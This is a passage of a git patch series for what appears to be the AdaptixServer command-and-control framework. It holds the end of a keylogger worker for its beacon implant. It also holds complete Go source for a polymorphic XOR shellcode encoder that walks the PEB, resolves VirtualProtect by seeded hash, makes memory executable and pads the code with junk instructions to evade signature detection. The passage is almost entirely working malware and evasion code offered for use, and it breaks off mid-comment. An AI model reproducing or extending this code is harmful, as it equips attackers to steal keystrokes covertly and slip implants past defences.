&bufLen, xorKey, cfg->pipeWrite); + } + + // Jittered sleep + ULONG sleepMs = cfg->pollIntervalMs + (GenerateRandom32() % 50); + mySleep(sleepMs); + } + + // Flush remaining data + FlushBuffer(buffer, &bufLen, xorKey, cfg->pipeWrite); + + // Cleanup: zero sensitive data + memset(xorKey, 0, XOR_KEY_LEN); + memset(&u32, 0, sizeof(u32)); + MemFreeLocal((LPVOID*)&buffer, KEYLOG_BUFFER_SIZE); + + return 0; +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h new file mode 100644 index 000000000..45513a129 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.h @@ -0,0 +1,11 @@ +#pragma once + +#include + +struct KeylogConfig { + HANDLE pipeWrite; + volatile LONG active; // InterlockedExchange for thread-safe stop + ULONG pollIntervalMs; // base polling interval (default 100ms) +}; + +DWORD WINAPI KeylogWorker(LPVOID lpParam); From cbdc2710a62d2983f358ac6566ff4b37a4882c56 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:47:10 +0200 Subject: [PATCH 08/11] chore: update go.work.sum for new extender modules --- AdaptixServer/go.work.sum | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/AdaptixServer/go.work.sum b/AdaptixServer/go.work.sum index a6f3b759a..86efccb2e 100644 --- a/AdaptixServer/go.work.sum +++ b/AdaptixServer/go.work.sum @@ -20,11 +20,13 @@ github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/ github.com/francoispqt/gojay v1.2.13 h1:d2m3sFjloqoIUQU3TsHBgj6qg/BVGlTBeHDUmyJnXKk= github.com/francoispqt/gojay v1.2.13/go.mod h1:ehT5mTG4ua4581f1++1WLG0vPdaA9HaiDsoyrBGkyDY= github.com/gabriel-vasile/mimetype v1.4.11/go.mod h1:d+9Oxyo1wTzWdyVUPMmXFvp4F9tea18J8ufA774AB3s= +github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/validator/v10 v10.28.0/go.mod h1:GoI6I1SjPBh9p7ykNE/yj3fFYbyDOpwMn5KXd+m2hUU= github.com/golang/protobuf v1.5.0 h1:LUVKkCeviFUMKqHa4tXIIij/lbhnMbP7Fn5wKdKkRh4= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0 h1:A8PeW59pxE9IoFRqBp37U+mSNaQoZ46F1f0f863XSXw= github.com/ianlancetaylor/demangle v0.0.0-20220319035150-800ac71e25c2 h1:rcanfLhLDA8nozr/K289V1zcntHr3V+SHlXwzz1ZI2g= github.com/ianlancetaylor/demangle v0.0.0-20220319035150-800ac71e25c2/go.mod h1:aYm2/VgdVmcIU8iMfdMvDMsRAQjcfZSKFby6HOFvi/w= @@ -32,6 +34,7 @@ github.com/jordanlewis/gcassert v0.0.0-20250430164644-389ef753e22e h1:a+PGEeXb+e github.com/jordanlewis/gcassert v0.0.0-20250430164644-389ef753e22e/go.mod h1:ZybsQk6DWyN5t7An1MuPm1gtSZ1xDaTXS9ZjIOxvQrk= github.com/klauspost/cpuid/v2 v2.2.9/go.mod h1:rqkxqrZ1EhYM9G+hXH7YdowN5R5RGN6NK4QwQ3WMXF8= github.com/knz/go-libedit v1.10.1 h1:0pHpWtx9vcvC0xGZqEQlQdfSQs7WRlAjuPvk3fOZDCo= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1 h1:VkoXIwSboBpnk99O/KFauAEILuNHv5DVFKZMBN/gUgw= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= @@ -50,6 +53,7 @@ github.com/prometheus/common v0.48.0/go.mod h1:0/KsvlIEfPQCQ5I2iNSAWKPZziNCvRs5E github.com/prometheus/procfs v0.12.0 h1:jluTpSng7V9hY0O2R9DzzJHYb2xULk9VTR1V1R/k6Bo= github.com/prometheus/procfs v0.12.0/go.mod h1:pcuDEFsWDnvcgNzo4EEweacyhjeA9Zk3cnaOZAZEfOo= github.com/quic-go/quic-go v0.57.0/go.mod h1:ly4QBAjHA2VhdnxhojRsCUOeJwKYg+taDlos92xb1+s= +github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= @@ -145,6 +149,7 @@ golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8T golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= nullprogram.com/x/optparse v1.0.0 h1:xGFgVi5ZaWOnYdac2foDT3vg0ZZC9ErXFV57mr4OHrI= From 7d65a53625204563b47dee23e05e0668e4f93a54 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 21:11:41 +0200 Subject: [PATCH 09/11] feat: add per-payload polymorphism and module stomping reflective loader - Per-payload DJB2 seed randomization: each generated payload gets a unique crypto-random seed, generating unique API hash constants (ApiDefines.h) and recompiling all hash-dependent source files - Module Stomping reflective loader (stub_rdi.x64.asm): replaces the pre-compiled sRDI stub with a full NASM source assembled per-payload with seed-derived hash defines and MODULE_STOMP enabled - Polymorphic XOR encoder: wraps shellcode payloads with a randomized decoder stub featuring junk instructions and register randomization - Build pipeline ships beacon source files for per-payload recompilation --- AdaptixServer/extenders/beacon_agent/Makefile | 4 +- .../extenders/beacon_agent/pl_encoder.go | 735 ++++++++++++++ .../extenders/beacon_agent/pl_hashes.go | 402 ++++++++ .../extenders/beacon_agent/pl_main.go | 127 ++- .../src_beacon/beacon/ProcLoader.cpp | 4 +- .../src_beacon/files/stub_rdi.x64.asm | 915 ++++++++++++++++++ 6 files changed, 2176 insertions(+), 11 deletions(-) create mode 100644 AdaptixServer/extenders/beacon_agent/pl_encoder.go create mode 100644 AdaptixServer/extenders/beacon_agent/pl_hashes.go create mode 100644 AdaptixServer/extenders/beacon_agent/src_beacon/files/stub_rdi.x64.asm diff --git a/AdaptixServer/extenders/beacon_agent/Makefile b/AdaptixServer/extenders/beacon_agent/Makefile index 5fab655b4..378a28029 100644 --- a/AdaptixServer/extenders/beacon_agent/Makefile +++ b/AdaptixServer/extenders/beacon_agent/Makefile @@ -2,7 +2,7 @@ all: clean @ echo " * Building agent_beacon plugin" @ mkdir dist @ cp config.yaml ax_config.axs ./dist/ - @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_beacon.so pl_main.go pl_packer.go pl_utils.go pl_sideloading.go pl_hashes.go pl_encoder.go @ echo " done..." @ echo " * Building agent" @@ -11,6 +11,8 @@ all: clean @ mv src_beacon/objects_smb ./dist/objects_smb @ mv src_beacon/objects_tcp ./dist/objects_tcp @ mv src_beacon/objects_dns ./dist/objects_dns + @ cp -r src_beacon/beacon ./dist/beacon + @ cp -r src_beacon/files ./dist/files @ echo " done..." clean: diff --git a/AdaptixServer/extenders/beacon_agent/pl_encoder.go b/AdaptixServer/extenders/beacon_agent/pl_encoder.go new file mode 100644 index 000000000..2b82a5db2 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/pl_encoder.go @@ -0,0 +1,735 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "math/big" +) + +// djb2HashWithSeed computes the DJB2 hash of a string with a custom seed. +// Used to pre-compute the VirtualProtect hash for each stub. +func djb2HashWithSeed(s string, seed uint32) uint32 { + h := seed + for i := 0; i < len(s); i++ { + h = h*33 + uint32(s[i]) + } + return h +} + +// cryptoRandIntn returns a random int in [0, n). +func cryptoRandIntn(n int) int { + if n <= 0 { + return 0 + } + val, _ := rand.Int(rand.Reader, big.NewInt(int64(n))) + return int(val.Int64()) +} + +// emitJunkX64 produces minLen..maxLen bytes of junk instructions (x64-safe). +// Each instruction is emitted atomically — no truncation mid-instruction. +func emitJunkX64(minLen, maxLen int) []byte { + if maxLen < 1 { + return nil + } + if minLen < 0 { + minLen = 0 + } + // Target between minLen and maxLen + target := minLen + if maxLen > minLen { + target = minLen + cryptoRandIntn(maxLen-minLen+1) + } + + // x64-safe junk instructions (complete, never truncated) + type junkInstr struct { + bytes []byte + } + pool := []junkInstr{ + {[]byte{0x90}}, // nop (1B) + {[]byte{0x66, 0x90}}, // 2-byte nop + {[]byte{0x0F, 0x1F, 0x00}}, // 3-byte nop + {[]byte{0x0F, 0x1F, 0x40, 0x00}}, // 4-byte nop + {[]byte{0x53, 0x5B}}, // push rbx; pop rbx (2B) + {[]byte{0x51, 0x59}}, // push rcx; pop rcx (2B) + {[]byte{0x52, 0x5A}}, // push rdx; pop rdx (2B) + {[]byte{0x50, 0x58}}, // push rax; pop rax (2B) + } + + var junk []byte + for len(junk) < target { + remaining := target - len(junk) + // Pick a random instruction that fits + var candidates []int + for i, instr := range pool { + if len(instr.bytes) <= remaining { + candidates = append(candidates, i) + } + } + if len(candidates) == 0 { + break // Can't fit any more instructions + } + chosen := pool[candidates[cryptoRandIntn(len(candidates))]] + junk = append(junk, chosen.bytes...) + } + return junk +} + +// emitJunkX86 produces minLen..maxLen bytes of junk instructions (x86-safe). +func emitJunkX86(minLen, maxLen int) []byte { + if maxLen < 1 { + return nil + } + if minLen < 0 { + minLen = 0 + } + target := minLen + if maxLen > minLen { + target = minLen + cryptoRandIntn(maxLen-minLen+1) + } + + type junkInstr struct { + bytes []byte + } + pool := []junkInstr{ + {[]byte{0x90}}, // nop (1B) + {[]byte{0x0F, 0x1F, 0x00}}, // 3-byte nop + {[]byte{0x0F, 0x1F, 0x40, 0x00}}, // 4-byte nop + {[]byte{0x53, 0x5B}}, // push ebx; pop ebx (2B) + {[]byte{0x51, 0x59}}, // push ecx; pop ecx (2B) + {[]byte{0x52, 0x5A}}, // push edx; pop edx (2B) + {[]byte{0x50, 0x58}}, // push eax; pop eax (2B) + {[]byte{0x87, 0xDB}}, // xchg ebx, ebx (2B) + } + + var junk []byte + for len(junk) < target { + remaining := target - len(junk) + var candidates []int + for i, instr := range pool { + if len(instr.bytes) <= remaining { + candidates = append(candidates, i) + } + } + if len(candidates) == 0 { + break + } + chosen := pool[candidates[cryptoRandIntn(len(candidates))]] + junk = append(junk, chosen.bytes...) + } + return junk +} + +// put32LE writes a uint32 as little-endian into dst at offset off. +func put32LE(dst []byte, off int, val uint32) { + binary.LittleEndian.PutUint32(dst[off:off+4], val) +} + +// patchDisp32 writes a signed 32-bit displacement at offset off in dst. +func patchDisp32(dst []byte, off int, disp int) { + put32LE(dst, off, uint32(int32(disp))) +} + +// generateStubX64 builds a polymorphic x64 XOR decoder stub. +// Returns (stub, keyOffset, sizeOffset). +func generateStubX64() ([]byte, int, int) { + // Pick random DJB2 seed and pre-compute VirtualProtect hash + seedVal := uint32(cryptoRandIntn(0xFFFFFFFE)) + 1 // 1..0xFFFFFFFF + vpHash := djb2HashWithSeed("VirtualProtect", seedVal) + + var code []byte + emit := func(b ...byte) { code = append(code, b...) } + emitBytes := func(b []byte) { code = append(code, b...) } + + // ===== Block 1: Prologue ===== + // 6 pushes = 48 bytes on stack. With 16-aligned RSP at entry (injection), + // RSP after 6 pushes = -48 = 0 mod 16. sub rsp,0x28 (40) → -88 = 8 mod 16. + // call will push 8 more → 0 mod 16 inside callee. Correct for Win64 ABI. + // push rbx; push rsi; push rdi; push rbp; push r12; push r13 + emit(0x53, 0x56, 0x57, 0x55, 0x41, 0x54, 0x41, 0x55) + + emitBytes(emitJunkX64(2, 6)) + + // ===== Block 2: PEB walk → kernel32 base into r12 ===== + // mov rax, gs:[0x60] — TEB → PEB + emit(0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00) + // mov rax, [rax+0x18] — PEB.Ldr + emit(0x48, 0x8B, 0x40, 0x18) + // mov rax, [rax+0x20] — InMemoryOrderModuleList + emit(0x48, 0x8B, 0x40, 0x20) + // mov rax, [rax] — Flink (next entry) + emit(0x48, 0x8B, 0x00) + // mov rax, [rax] — Flink again (kernel32) + emit(0x48, 0x8B, 0x00) + // mov r12, [rax+0x20] — DLL base + emit(0x4C, 0x8B, 0x60, 0x20) + + emitBytes(emitJunkX64(2, 4)) + + // ===== Block 3: Parse export table, DJB2 hash → find VirtualProtect ===== + // movsxd rbx, dword [r12+0x3C] — e_lfanew + emit(0x49, 0x63, 0x5C, 0x24, 0x3C) + // add rbx, r12 + emit(0x4C, 0x01, 0xE3) + // mov eax, [rbx+0x88] — ExportDir RVA + emit(0x8B, 0x83, 0x88, 0x00, 0x00, 0x00) + // add rax, r12 + emit(0x4C, 0x01, 0xE0) + // mov ecx, [rax+0x18] — NumberOfNames + emit(0x8B, 0x48, 0x18) + // mov ebx, [rax+0x20] — AddressOfNames RVA + emit(0x8B, 0x58, 0x20) + // add rbx, r12 + emit(0x4C, 0x01, 0xE3) + // push rax (save ExportDir base) + emit(0x50) + // xor edi, edi + emit(0x31, 0xFF) + + // Hash loop start + hashLoopStart := len(code) + // mov esi, [rbx + rdi*4] + emit(0x8B, 0x34, 0xBB) + // add rsi, r12 + emit(0x4C, 0x01, 0xE6) + + // mov eax, — polymorphic seed + emit(0xB8) + seedBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(seedBytes, seedVal) + emitBytes(seedBytes) + + // DJB2 inner loop + djb2Start := len(code) + // movzx edx, byte [rsi] + emit(0x0F, 0xB6, 0x16) + // inc rsi + emit(0x48, 0xFF, 0xC6) + // test edx, edx + emit(0x85, 0xD2) + // jz hash_done (skip imul+add+jmp = 7 bytes) + emit(0x74, 0x07) + // imul eax, 0x21 + emit(0x6B, 0xC0, 0x21) + // add eax, edx + emit(0x01, 0xD0) + // jmp djb2Start + jmpBackDjb2 := len(code) + emit(0xEB, 0x00) // placeholder + code[jmpBackDjb2+1] = byte(djb2Start - (jmpBackDjb2 + 2)) + + // hash_done: + // cmp eax, + emit(0x3D) + vpHashBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(vpHashBytes, vpHash) + emitBytes(vpHashBytes) + + // je found (placeholder) + jeFoundOff := len(code) + emit(0x74, 0x00) // patched below + + // inc edi + emit(0xFF, 0xC7) + // cmp edi, ecx + emit(0x39, 0xCF) + // jb hashLoopStart + jbHashLoop := len(code) + emit(0x72, 0x00) // placeholder + code[jbHashLoop+1] = byte(hashLoopStart - (jbHashLoop + 2)) + + // not found: pop rax; jmp near epilogue (E9 rel32 — safe for any distance) + emit(0x58) // pop rax + jmpNotFoundOff := len(code) + emit(0xE9, 0x00, 0x00, 0x00, 0x00) // jmp near rel32 placeholder + + // found: patch je offset + foundOff := len(code) + code[jeFoundOff+1] = byte(foundOff - (jeFoundOff + 2)) + + // pop rax (restore ExportDir pointer) + emit(0x58) + + // Resolve function address from ordinals + addresses + // mov edx, [rax+0x24] — AddressOfOrdinals RVA + emit(0x8B, 0x50, 0x24) + // add rdx, r12 + emit(0x4C, 0x01, 0xE2) + // movzx edi, word [rdx + rdi*2] + emit(0x0F, 0xB7, 0x3C, 0x7A) + // mov edx, [rax+0x1C] — AddressOfFunctions RVA + emit(0x8B, 0x50, 0x1C) + // add rdx, r12 + emit(0x4C, 0x01, 0xE2) + // mov eax, [rdx + rdi*4] + emit(0x8B, 0x04, 0xBA) + // add rax, r12 + emit(0x4C, 0x01, 0xE0) + // mov r12, rax — VirtualProtect address in r12 + emit(0x49, 0x89, 0xC4) + + emitBytes(emitJunkX64(2, 4)) + + // ===== Block 4: Call VirtualProtect ===== + // sub rsp, 0x28 (shadow space 32 + 8 alignment) + // With 8 pushes (64 bytes), RSP is 16-aligned. sub 0x28 (40) → 8 mod 16. + // call pushes 8 → 0 mod 16 inside VirtualProtect. Correct. + emit(0x48, 0x83, 0xEC, 0x28) + + // lea rcx, [rip - X] — address of stub start (patched later) + vpCallRcxOff := len(code) + emit(0x48, 0x8D, 0x0D, 0x00, 0x00, 0x00, 0x00) // placeholder disp32 + + // lea rdx, [rip + Y] — address of size field (patched later) + vpCallRdxOff := len(code) + emit(0x48, 0x8D, 0x15, 0x00, 0x00, 0x00, 0x00) // placeholder disp32 + + // mov eax, [rip + Z] — load payload size (patched later) + vpCallSizeOff := len(code) + emit(0x8B, 0x05, 0x00, 0x00, 0x00, 0x00) // placeholder disp32 + + // lea rdx, [rdx + rax + 0x14] — end address = &sizeField + payloadSize + 20 (key+size) + emit(0x48, 0x8D, 0x54, 0x02, 0x14) + // sub rdx, rcx — dwSize = end - start + emit(0x48, 0x29, 0xCA) + + // Pick one of two PAGE_EXECUTE_READWRITE encodings + if cryptoRandIntn(2) == 0 { + // mov r8d, 0x40 + emit(0x41, 0xB8, 0x40, 0x00, 0x00, 0x00) + } else { + // xor r8d, r8d; add r8d, 0x40 + emit(0x45, 0x31, 0xC0, 0x41, 0x83, 0xC0, 0x40) + } + + // lea r9, [rsp+0x20] — lpflOldProtect (in shadow space) + emit(0x4C, 0x8D, 0x4C, 0x24, 0x20) + // call r12 (VirtualProtect) + emit(0x41, 0xFF, 0xD4) + // add rsp, 0x28 + emit(0x48, 0x83, 0xC4, 0x28) + + emitBytes(emitJunkX64(2, 4)) + + // ===== Block 5: XOR decode loop ===== + // lea rsi, [rip + key_offset] + xorLeaKeyOff := len(code) + emit(0x48, 0x8D, 0x35, 0x00, 0x00, 0x00, 0x00) // placeholder + + // lea rdi, [rip + data_offset] + xorLeaDataOff := len(code) + emit(0x48, 0x8D, 0x3D, 0x00, 0x00, 0x00, 0x00) // placeholder + + // mov ecx, [rip + size_offset] + xorMovSizeOff := len(code) + emit(0x8B, 0x0D, 0x00, 0x00, 0x00, 0x00) // placeholder + + // XOR loop — pick one of 3 variants for zero-init + switch cryptoRandIntn(3) { + case 0: + emit(0x31, 0xD2) // xor edx, edx + case 1: + emit(0x29, 0xD2) // sub edx, edx + case 2: + emit(0x33, 0xD2) // xor edx, edx (alternate encoding) + } + + xorLoopStart := len(code) + // mov al, [rsi + rdx] + emit(0x8A, 0x04, 0x16) + // xor [rdi], al + emit(0x30, 0x07) + + // inc rdi — pick variant + switch cryptoRandIntn(3) { + case 0: + emit(0x48, 0xFF, 0xC7) // inc rdi + case 1: + emit(0x48, 0x83, 0xC7, 0x01) // add rdi, 1 + case 2: + emit(0x48, 0x8D, 0x7F, 0x01) // lea rdi, [rdi+1] + } + + // inc edx + emit(0xFF, 0xC2) + // and edx, 0x0F + emit(0x83, 0xE2, 0x0F) + + // dec ecx — pick variant + switch cryptoRandIntn(2) { + case 0: + emit(0xFF, 0xC9) // dec ecx + case 1: + emit(0x83, 0xE9, 0x01) // sub ecx, 1 + } + + // jnz xorLoopStart + jnzOff := len(code) + emit(0x75, 0x00) // placeholder + code[jnzOff+1] = byte(xorLoopStart - (jnzOff + 2)) + + // ===== Block 6: Epilogue ===== + epilogueOff := len(code) + // pop r13; pop r12; pop rbp; pop rdi; pop rsi; pop rbx (reverse order of prologue) + emit(0x41, 0x5D, 0x41, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B) + + // jmp to payload (will jump over key+size area) + jmpPayloadOff := len(code) + emit(0xEB, 0x00) // placeholder — patched after we know key+size layout + + // Patch jmpNotFound (E9 rel32) to jump to epilogue + patchDisp32(code, jmpNotFoundOff+1, epilogueOff-(jmpNotFoundOff+5)) + + // ===== Data area: [key 16B] [size 4B] ===== + keyOffset := len(code) + code = append(code, make([]byte, 16)...) // key placeholder + sizeOffset := len(code) + code = append(code, make([]byte, 4)...) // size placeholder + + // Patch jmp over data area + dataEnd := len(code) + code[jmpPayloadOff+1] = byte(dataEnd - (jmpPayloadOff + 2)) + + // ===== Patch RIP-relative offsets ===== + // VirtualProtect call patches: + // rcx = lea [rip + disp] pointing to start of stub (offset 0) + patchDisp32(code, vpCallRcxOff+3, -(vpCallRcxOff+7)) + + // rdx = lea [rip + disp] pointing to size field + patchDisp32(code, vpCallRdxOff+3, sizeOffset-(vpCallRdxOff+7)) + + // eax = mov [rip + disp] loading size value + patchDisp32(code, vpCallSizeOff+2, sizeOffset-(vpCallSizeOff+6)) + + // XOR loop lea key + patchDisp32(code, xorLeaKeyOff+3, keyOffset-(xorLeaKeyOff+7)) + + // XOR loop lea data (points to dataEnd = right after size field) + patchDisp32(code, xorLeaDataOff+3, dataEnd-(xorLeaDataOff+7)) + + // XOR loop mov size + patchDisp32(code, xorMovSizeOff+2, sizeOffset-(xorMovSizeOff+6)) + + return code, keyOffset, sizeOffset +} + +// generateStubX86 builds a polymorphic x86 XOR decoder stub. +// Returns (stub, keyOffset, sizeOffset). +func generateStubX86() ([]byte, int, int) { + seedVal := uint32(cryptoRandIntn(0xFFFFFFFE)) + 1 + vpHash := djb2HashWithSeed("VirtualProtect", seedVal) + + var code []byte + emit := func(b ...byte) { code = append(code, b...) } + emitBytes := func(b []byte) { code = append(code, b...) } + + // ===== Block 1: Prologue ===== + // pushad + emit(0x60) + // call $+5; pop ebp; sub ebp, 6 → get EIP into ebp (base of stub) + emit(0xE8, 0x00, 0x00, 0x00, 0x00) + emit(0x5D) + emit(0x83, 0xED, 0x06) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 2: PEB walk → kernel32 base into ebx ===== + // mov eax, fs:[0x30] + emit(0x64, 0xA1, 0x30, 0x00, 0x00, 0x00) + // mov eax, [eax+0x0C] + emit(0x8B, 0x40, 0x0C) + // mov eax, [eax+0x14] + emit(0x8B, 0x40, 0x14) + // mov eax, [eax] + emit(0x8B, 0x00) + // mov eax, [eax] + emit(0x8B, 0x00) + // mov ebx, [eax+0x10] + emit(0x8B, 0x58, 0x10) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 3: Export table + DJB2 hash → VirtualProtect ===== + // mov eax, [ebx+0x3C] + emit(0x8B, 0x43, 0x3C) + // add eax, ebx + emit(0x01, 0xD8) + // mov eax, [eax+0x78] + emit(0x8B, 0x40, 0x78) + // add eax, ebx + emit(0x01, 0xD8) + // mov ecx, [eax+0x18] + emit(0x8B, 0x48, 0x18) + // push eax + emit(0x50) + // mov edx, [eax+0x20] + emit(0x8B, 0x50, 0x20) + // add edx, ebx + emit(0x01, 0xDA) + // xor edi, edi + emit(0x31, 0xFF) + + // Hash loop + hashLoopStart := len(code) + // mov esi, [edx+edi*4] + emit(0x8B, 0x34, 0xBA) + // add esi, ebx + emit(0x01, 0xDE) + // mov eax, + emit(0xB8) + seedBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(seedBytes, seedVal) + emitBytes(seedBytes) + + // DJB2 inner loop + djb2Start := len(code) + // movzx ecx, byte [esi] + emit(0x0F, 0xB6, 0x0E) + // inc esi + emit(0x46) + // test ecx, ecx + emit(0x85, 0xC9) + // jz hash_done + emit(0x74, 0x07) + // imul eax, 0x21 + emit(0x6B, 0xC0, 0x21) + // add eax, ecx + emit(0x01, 0xC8) + // jmp djb2Start + jmpDjb2 := len(code) + emit(0xEB, 0x00) + code[jmpDjb2+1] = byte(djb2Start - (jmpDjb2 + 2)) + + // hash_done: restore ecx and check + // pop ecx; push ecx — restore ExportDir pointer for ecx + emit(0x59, 0x51) + // mov ecx, [ecx+0x18] — NumberOfNames + emit(0x8B, 0x49, 0x18) + + // cmp eax, + emit(0x3D) + vpHashBytes := make([]byte, 4) + binary.LittleEndian.PutUint32(vpHashBytes, vpHash) + emitBytes(vpHashBytes) + + // je found + jeFoundOff := len(code) + emit(0x74, 0x00) + + // inc edi + emit(0x47) + // cmp edi, ecx + emit(0x39, 0xCF) + // jb hashLoopStart + jbHashLoop := len(code) + emit(0x72, 0x00) + code[jbHashLoop+1] = byte(hashLoopStart - (jbHashLoop + 2)) + + // not found: pop eax; jmp near epilogue (E9 rel32) + emit(0x58) + jmpNotFoundOff := len(code) + emit(0xE9, 0x00, 0x00, 0x00, 0x00) // jmp near rel32 placeholder + + // found: + foundOff := len(code) + code[jeFoundOff+1] = byte(foundOff - (jeFoundOff + 2)) + // pop eax (ExportDir) + emit(0x58) + + // Resolve VirtualProtect address + // mov edx, [eax+0x24] + emit(0x8B, 0x50, 0x24) + // add edx, ebx + emit(0x01, 0xDA) + // movzx edi, word [edx+edi*2] + emit(0x0F, 0xB7, 0x3C, 0x7A) + // mov edx, [eax+0x1C] + emit(0x8B, 0x50, 0x1C) + // add edx, ebx + emit(0x01, 0xDA) + // mov eax, [edx+edi*4] + emit(0x8B, 0x04, 0xBA) + // add eax, ebx — VirtualProtect in eax + emit(0x01, 0xD8) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 4: Call VirtualProtect ===== + // sub esp, 4 (old protect) + emit(0x83, 0xEC, 0x04) + // mov edi, esp + emit(0x89, 0xE7) + // push edi (lpflOldProtect) + emit(0x57) + + // push PAGE_EXECUTE_READWRITE + emit(0x6A, 0x40) // push 0x40 + + // lea ecx, [ebp + keyOffset] — patched later + vpLeaKeyOff := len(code) + emit(0x8D, 0x8D, 0x00, 0x00, 0x00, 0x00) // placeholder dword + + // mov edx, [ebp + sizeOffset] — patched later + vpMovSizeOff := len(code) + emit(0x8B, 0x95, 0x00, 0x00, 0x00, 0x00) // placeholder dword + + // lea edx, [edx + ecx + 0x14] + emit(0x8D, 0x54, 0x11, 0x14) + // sub edx, ebp — size + emit(0x29, 0xEA) + // push edx (dwSize) + emit(0x52) + // push ebp (lpAddress) + emit(0x55) + // call eax (VirtualProtect) + emit(0xFF, 0xD0) + // add esp, 4 + emit(0x83, 0xC4, 0x04) + + emitBytes(emitJunkX86(2, 4)) + + // ===== Block 5: XOR decode loop ===== + // lea esi, [ebp + keyOffset] + xorLeaKeyOff := len(code) + emit(0x8D, 0xB5, 0x00, 0x00, 0x00, 0x00) // placeholder + + // lea edi, [ebp + dataOffset] + xorLeaDataOff := len(code) + emit(0x8D, 0xBD, 0x00, 0x00, 0x00, 0x00) // placeholder + + // mov ecx, [ebp + sizeOffset] + xorMovSizeOff := len(code) + emit(0x8B, 0x8D, 0x00, 0x00, 0x00, 0x00) // placeholder + + // Zero init + switch cryptoRandIntn(3) { + case 0: + emit(0x31, 0xD2) // xor edx, edx + case 1: + emit(0x29, 0xD2) // sub edx, edx + case 2: + emit(0x33, 0xD2) // xor edx, edx alt + } + + xorLoopStart := len(code) + // mov al, [esi+edx] + emit(0x8A, 0x04, 0x16) + // xor [edi], al + emit(0x30, 0x07) + // inc edi + emit(0x47) + // inc edx + emit(0x42) + // and edx, 0x0F + emit(0x83, 0xE2, 0x0F) + // dec ecx + switch cryptoRandIntn(2) { + case 0: + emit(0x49) // dec ecx + case 1: + emit(0x83, 0xE9, 0x01) // sub ecx, 1 + } + // jnz loop + jnzOff := len(code) + emit(0x75, 0x00) + code[jnzOff+1] = byte(xorLoopStart - (jnzOff + 2)) + + // ===== Block 6: Epilogue ===== + epilogueOff := len(code) + // popad + emit(0x61) + // call $+5; pop eax; add eax, ; jmp eax + emit(0xE8, 0x00, 0x00, 0x00, 0x00) + emit(0x58) + + // Patch jmpNotFound (E9 rel32) to jump to epilogue + patchDisp32(code, jmpNotFoundOff+1, epilogueOff-(jmpNotFoundOff+5)) + + // add eax, — patched after data area + addEaxOff := len(code) + emit(0x83, 0xC0, 0x00) // placeholder: add eax, imm8 + + // jmp eax + emit(0xFF, 0xE0) + + // ===== Data area ===== + keyOffset := len(code) + code = append(code, make([]byte, 16)...) + sizeOffset := len(code) + code = append(code, make([]byte, 4)...) + dataEnd := len(code) + + // Patch add eax: call pushes return address = address of pop eax. + // pop eax → eax = address of addEaxOff - 1 (the pop itself) + // Actually: call at (epilogueOff+1) pushes return address of next instr = 